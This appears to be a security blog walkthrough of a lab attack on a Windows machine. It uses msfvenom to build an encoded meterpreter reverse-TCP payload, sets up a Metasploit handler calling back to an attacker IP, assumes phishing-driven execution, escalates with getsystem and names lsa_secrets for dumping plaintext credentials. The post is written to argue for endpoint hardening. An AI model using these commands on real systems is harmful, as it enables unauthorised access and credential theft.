I often find myself discussing endpoint security with customers and colleagues. The essential agreement is that Windows computers should be running the latest security update, and have the appropriate security policies and baselines in place to protect against unauthorised access, malware etc.
Nevertheless, some customers don’t see security as a high priority and often hold ‘user experience’ as the most important metric.
Using a combination of KALI, Metasploit and meterpreter my aim here is simple – gain access to a Windows system and obtain security information or credentials that can be used in my next phase of attack.
Here I will serve a simple file (or a payload) on a webserver which can be downloaded and executed by my target, opening a session with my listening exploit.
Step 1, KALI
First, I use msfvenom to create a payload that will reach out to my listening exploit service.
──(rootkali)-[~] └─# cd /var/www/html ┌──(rootkali)-[/var/www/html] └─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.16.31.148 LPORT=1337 -b "\x00" -e x86/shikata_ga_nai -f exe -o runme.exe Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 381 (iteration=0) x86/shikata_ga_nai chosen with final size 381 Payload size: 381 bytes Final size of exe file: 73802 bytes Saved as: runme.exe
With my payload created, and saved on my webserver, I need to set up my handler to listen for any incoming connections.
┌──(rootkali)-[/var/www/html] └─# msfconsole -q msf6 > use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 172.16.31.148 LHOST => 172.16.31.148 msf6 exploit(multi/handler) > set LPORT 1337 LPORT => 1337 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 172.16.31.148:1337
Step 2, execute the payload
From my previous post, I have gathered target full-names and email addresses. These include general addresses such as “firstname.lastname@example.org” or “email@example.com”. Using this info I can launch my next phase, which is really just an email containing a simple link to my exploit file on my webserver.
KALI includes the Social Engineering Toolkit, which I will go into in further detailed another time. For now I will assume that my spear phishing attempt was successful and my intended target has:
– clicked my link
– downloaded my file
– run it as admin.
Step 3, dump the plaintext credentials
So now that I have a session with my target, I’d like to see if I can grab some credentials. Right now, I’m running in the context of the user who executed the payload
meterpreter > getuid Server username: CORP\LabAdmin
By running getuid, i see my user is LabAdmin – that’s a good start. And since LabAdmin was kind enough to run my file “as administrator”, switching to SYSTEM privileges is simple:
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Now, with SYSTEM privileges, I can load up a “post exploitation” module, such as lsa_secrets to gather unencrypted passwords.
As luck would have it, labadmin is also a domain admin, so the next step in this attack may be to locate other target computers in the same subnet, or infrastructure servers that this user has privileges to.
So there we go; with a handful of commands and a reasonably convincing email, I’ve been able to simulate an attack. This time, it was simply remotely gathering plaintext passwords from an unprotected system. Later I aim to look at how the security features in Windows 10, such as Credential Guard, can help mitigate this type of attack.